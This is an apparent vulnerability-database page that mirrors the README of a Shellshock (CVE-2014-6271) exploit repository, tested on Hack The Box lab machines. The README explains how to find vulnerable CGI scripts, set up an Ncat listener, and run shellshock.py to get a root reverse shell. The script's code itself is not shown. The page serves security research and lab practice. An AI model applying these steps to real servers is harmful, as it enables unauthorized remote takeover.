CVE-2014-6271 PoC — GNU Bash 远程代码执行漏洞

Source

https://github.com/b4keSn4ke/CVE-2014-6271

Associated Vulnerability

Title:GNU Bash 远程代码执行漏洞 (CVE-2014-6271)
Description:GNU Bash是美国软件开发者布莱恩-福克斯（Brian J. Fox）为GNU计划而编写的一个Shell（命令语言解释器），它运行于类Unix操作系统中（Linux系统的默认Shell），并能够从标准输入设备或文件中读取、执行命令，同时也结合了一部分ksh和csh的特点。 GNU Bash 4.3及之前版本中存在安全漏洞，该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用：OpenSSH sshd中的ForceComman

Description

Shellshock exploit aka CVE-2014-6271

Readme

# CVE-2014-6271 - Shellshock.py

Shellshock exploit aka CVE-2014-6271. <br>
Tested on Bash 3.2 and Bash 4.2. <br>
For more information about the vulnerability visit : https://nvd.nist.gov/vuln/detail/CVE-2014-6271

## Note

---

The exploit was mainly tested on **Hack The Box** in the following boxes:

- `Beep` box : https://app.hackthebox.eu/machines/Beep
- `Shocker` box : https://app.hackthebox.eu/machines/Shocker

<br>
This exploit will only work on web servers having a version of Bash < 4.3.<br>
In some cases, if you are able to get a HTTP 200 code on your web browser<br>
by doing a GET request to the `/cgi-bin/`, you could just try to run the exploit against that directory.<br><br>

Otherwise if you have a 403 on the `/cgi-bin/` directory, try to enumerates for files<br>
within that directory with a good wordlist, searching for `.sh` or `.cgi` extensions.<br>

**NOTE: Don't forget to setup your TCP listenner, otherwise the exploit might give you**
**a false positive during the testRevShell call check**<br><br>

## Proof of Concept (POC)

---

First of all we can see the arguments that the exploit is taking by running: `shellshock.py -h`<br><br>
![Example 1](img/poc_script_help.png) <br><br>
Then we can set up a Ncat listenner on a port of our choice, here I chose 45<br><br>
![Example 2](img/poc_pre_shell.png) <br><br>
Next we can run the exploit by supplying all the arguments that it takes by running:<br> `shellshock.py [OUR_IP] [OUR_LISTENNING_PORT] [TARGET_URL]`<br>
The target URL here as you can see is where the web server sends a POST request during authentication on that box <br><br>
Here as we can see in the output, the exploit tried sending the payload over SSL using multiple TLS versions, until it succeed <br><br>
![Example 3](img/poc_script.png) <br><br>
And here we got our reverse shell! Lucky enough, the web server was running as root. <br><br>
![Example 4](img/poc_shell.png) <br>

File Snapshot


 [4.0K]  /data/pocs/7ed6cda91425529593a24b0f03f3631be1ae35ed
├── [4.0K]  img
│   ├── [154K]  poc_pre_shell.png
│   ├── [273K]  poc_script_help.png
│   ├── [299K]  poc_script.png
│   └── [194K]  poc_shell.png
├── [1.9K]  README.md
└── [7.2K]  shellshock.py

1 directory, 6 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!